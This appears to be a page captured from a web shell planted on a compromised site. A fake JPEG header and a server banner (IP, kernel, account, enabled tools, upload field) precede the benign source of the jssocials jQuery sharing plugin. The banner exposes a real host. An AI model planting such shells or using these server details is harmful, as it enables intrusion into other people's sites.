ÿØÿà JFIF ` ` ÿþxØ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/computer3/celine-petinger.fr/js/ |
Upload File : |
/*! jssocials - v0.2.0 - 2015-05-17
* http://js-socials.com
* Copyright (c) 2015 Artem Tabalin; Licensed MIT */
(function(window, $, undefined) {
var JSSOCIALS = "JSSocials",
JSSOCIALS_DATA_KEY = JSSOCIALS;
var getOrApply = function(value, context) {
if($.isFunction(value)) {
return value.apply(context, $.makeArray(arguments).slice(2));
}
return value;
};
var IMG_SRC_REGEX = /(\.(jpeg|png|gif|bmp)$|^data:image\/(jpeg|png|gif|bmp);base64)/i;
var URL_PARAMS_REGEX = /(&?[a-zA-Z0-9]+=)\{([a-zA-Z0-9]+)\}/g;
var MEASURES = {
"G": 1000000000,
"M": 1000000,
"K": 1000
};
var shares = [];
function Socials(element, config) {
var $element = $(element);
$element.data(JSSOCIALS_DATA_KEY, this);
this._$element = $element;
this.shares = [];
this._init(config);
this._render();
}
Socials.prototype = {
url: "",
text: "",
showLabel: function(screenWidth) {
return (this.showCount === false) ?
(screenWidth > this.smallScreenWidth) :
(screenWidth >= this.largeScreenWidth);
},
showCount: function(screenWidth) {
return (screenWidth <= this.smallScreenWidth) ? "inside" : true;
},
smallScreenWidth: 640,
largeScreenWidth: 1024,
resizeTimeout: 200,
elementClass: "jssocials",
sharesClass: "jssocials-shares",
shareClass: "jssocials-share",
shareButtonClass: "jssocials-share-button",
shareLinkClass: "jssocials-share-link",
shareLogoClass: "jssocials-share-logo",
shareLabelClass: "jssocials-share-label",
shareLinkCountClass: "jssocials-share-link-count",
shareCountBoxClass: "jssocials-share-count-box",
shareCountClass: "jssocials-share-count",
shareZeroCountClass: "jssocials-share-no-count",
_init: function(config) {
this._initDefaults();
$.extend(this, config);
this._initShares();
this._attachWindowResizeCallback();
},
_initDefaults: function() {
this.url = window.location.href;
this.text = $("meta[name=description]").attr("content") || $("title").text();
},
_initShares: function() {
this.shares = $.map(this.shares, $.proxy(function(shareConfig) {
if(typeof shareConfig === "string") {
shareConfig = { share: shareConfig };
}
var share = (shareConfig.share && shares[shareConfig.share]);
if(!share && !shareConfig.renderer) {
throw Error("Share '" + shareConfig.share + "' is not found");
}
return $.extend({ url: this.url, text: this.text }, share, shareConfig);
}, this));
},
_attachWindowResizeCallback: function() {
$(window).on("resize", $.proxy(this._windowResizeHandler, this));
},
_detachWindowResizeCallback: function() {
$(window).off("resize", this._windowResizeHandler);
},
_windowResizeHandler: function() {
if($.isFunction(this.showLabel) || $.isFunction(this.showCount)) {
window.clearTimeout(this._resizeTimer);
this._resizeTimer = setTimeout($.proxy(this.refresh, this), this.resizeTimeout);
}
},
_render: function() {
this._clear();
this._defineOptionsByScreen();
this._$element.addClass(this.elementClass);
this._$shares = $("<div>").addClass(this.sharesClass)
.appendTo(this._$element);
this._renderShares();
},
_defineOptionsByScreen: function() {
this._screenWidth = $(window).width();
this._showLabel = getOrApply(this.showLabel, this, this._screenWidth);
this._showCount = getOrApply(this.showCount, this, this._screenWidth);
},
_renderShares: function() {
$.each(this.shares, $.proxy(function(_, share) {
this._renderShare(share);
}, this));
},
_renderShare: function(share) {
var $share;
if($.isFunction(share.renderer)) {
$share = $(share.renderer());
} else {
$share = this._createShare(share);
}
$share.addClass(this.shareClass)
.addClass(share.share ? "jssocials-share-" + share.share : "")
.addClass(share.css)
.appendTo(this._$shares);
},
_createShare: function(share) {
var $result = $("<div>");
var $shareLink = this._createShareLink(share).appendTo($result);
if(this._showCount) {
var isInsideCount = (this._showCount === "inside");
var $countContainer = isInsideCount ? $shareLink : $("<div>").addClass(this.shareCountBoxClass).appendTo($result);
$countContainer.addClass(isInsideCount ? this.shareLinkCountClass : this.shareCountBoxClass);
this._renderShareCount(share, $countContainer);
}
return $result;
},
_createShareLink: function(share) {
var $result = $("<a>").addClass(this.shareLinkClass)
.attr({ href: this._getShareUrl(share), target: "_blank" })
.append(this._createShareLogo(share));
if(this._showLabel) {
$result.append(this._createShareLabel(share));
}
return $result;
},
_getShareUrl: function(share) {
var shareUrl = getOrApply(share.shareUrl, share);
return this._formatShareUrl(shareUrl, share);
},
_createShareLogo: function(share) {
var logo = share.logo;
var $result = IMG_SRC_REGEX.test(logo) ?
$("<img>").attr("src", share.logo) :
$("<i>").addClass(logo);
$result.addClass(this.shareLogoClass);
return $result;
},
_createShareLabel: function(share) {
return $("<span>").addClass(this.shareLabelClass)
.text(share.label);
},
_renderShareCount: function(share, $container) {
var $count = $("<span>").addClass(this.shareCountClass);
$container.addClass(this.shareZeroCountClass)
.append($count);
this._loadCount(share).done($.proxy(function(count) {
if(count) {
$container.removeClass(this.shareZeroCountClass);
$count.text(count);
}
}, this));
},
_loadCount: function(share) {
var deferred = $.Deferred();
var countUrl = this._getCountUrl(share);
if(!countUrl) {
return deferred.resolve(0).promise();
}
var handleSuccess = $.proxy(function(response) {
deferred.resolve(this._getCountValue(response, share));
}, this);
$.getJSON(countUrl).done(handleSuccess)
.fail(function() {
$.get(countUrl).done(handleSuccess)
.fail(function() {
deferred.resolve(0);
});
});
return deferred.promise();
},
_getCountUrl: function(share) {
var countUrl = getOrApply(share.countUrl, share);
return this._formatShareUrl(countUrl, share);
},
_getCountValue: function(response, share) {
var count = ($.isFunction(share.getCount) ? share.getCount(response) : response) || 0;
return (typeof count === "string") ? count : this._formatNumber(count);
},
_formatNumber: function(number) {
$.each(MEASURES, function(letter, value) {
if(number >= value) {
number = parseFloat((number / value).toFixed(2)) + letter;
return false;
}
});
return number;
},
_formatShareUrl: function(url, share) {
return url.replace(URL_PARAMS_REGEX, function(match, key, field) {
var value = share[field] || "";
return value ? (key + window.encodeURIComponent(value)) : "";
});
},
_clear: function() {
window.clearTimeout(this._resizeTimer);
this._$element.empty();
},
refresh: function() {
this._render();
},
destroy: function() {
this._clear();
this._detachWindowResizeCallback();
this._$element
.removeClass(this.elementClass)
.removeData(JSSOCIALS_DATA_KEY);
},
option: function(key, value) {
if(arguments.length === 1) {
return this[key];
}
this[key] = value;
this.refresh();
}
};
$.fn.jsSocials = function(config) {
var args = $.makeArray(arguments),
methodArgs = args.slice(1),
result = this;
this.each(function() {
var $element = $(this),
instance = $element.data(JSSOCIALS_DATA_KEY),
methodResult;
if(instance) {
if(typeof config === "string") {
methodResult = instance[config].apply(instance, methodArgs);
if(methodResult !== undefined && methodResult !== instance) {
result = methodResult;
return false;
}
} else {
instance._detachWindowResizeCallback();
instance._init(config);
instance._render();
}
} else {
new Socials($element, config);
}
});
return result;
};
var setDefaults = function(config) {
var component;
if($.isPlainObject(config)) {
component = Socials.prototype;
} else {
component = shares[config];
config = arguments[1] || {};
}
$.extend(component, config);
};
window.jsSocials = {
Socials: Socials,
shares: shares,
setDefaults: setDefaults
};
}(window, jQuery));
(function(window, $, jsSocials, undefined) {
$.extend(jsSocials.shares, {
email: {
label: "E-mail",
logo: "fa fa-at",
shareUrl: "mailto:?subject={text}&body={url}",
countUrl: ""
},
twitter: {
label: "Tweet",
logo: "fa fa-twitter",
shareUrl: "https://twitter.com/share?url={url}&text={text}&via={via}&hashtags={hashtags}",
countUrl: "https://cdn.api.twitter.com/1/urls/count.json?url={url}&callback=?",
getCount: function(data) {
return data.count;
}
},
facebook: {
label: "Like",
logo: "fa fa-facebook",
shareUrl: "https://facebook.com/sharer/sharer.php?u={url}",
countUrl: function() {
return "https://graph.facebook.com/fql?q=SELECT total_count FROM link_stat WHERE url='" + window.encodeURIComponent(this.url) + "'";
},
getCount: function(data) {
return (data.data.length && data.data[0].total_count) || 0;
}
},
googleplus: {
label: "+1",
logo: "fa fa-google-plus",
shareUrl: "https://plus.google.com/share?url={url}",
countUrl: function() {
return "https://cors-anywhere.herokuapp.com/https://plusone.google.com/_/+1/fastbutton?url="+ window.encodeURIComponent(this.url);
},
getCount: function(data) {
return parseFloat((data.match(/\{c: ([.0-9E]+)/) || [])[1]);
}
},
linkedin: {
label: "Share",
logo: "fa fa-linkedin",
shareUrl: "https://www.linkedin.com/shareArticle?url={url}",
countUrl: "https://www.linkedin.com/countserv/count/share?format=jsonp&url={url}&callback=?",
getCount: function(data) {
return data.count;
}
},
pinterest: {
label: "Pin it",
logo: "fa fa-pinterest",
shareUrl: "https://pinterest.com/pin/create/bookmarklet/?media={media}&url={url}&description={text}",
countUrl: "https://api.pinterest.com/v1/urls/count.json?&url={url}&callback=?",
getCount: function(data) {
return data.count;
}
}
});
}(window, jQuery, window.jsSocials));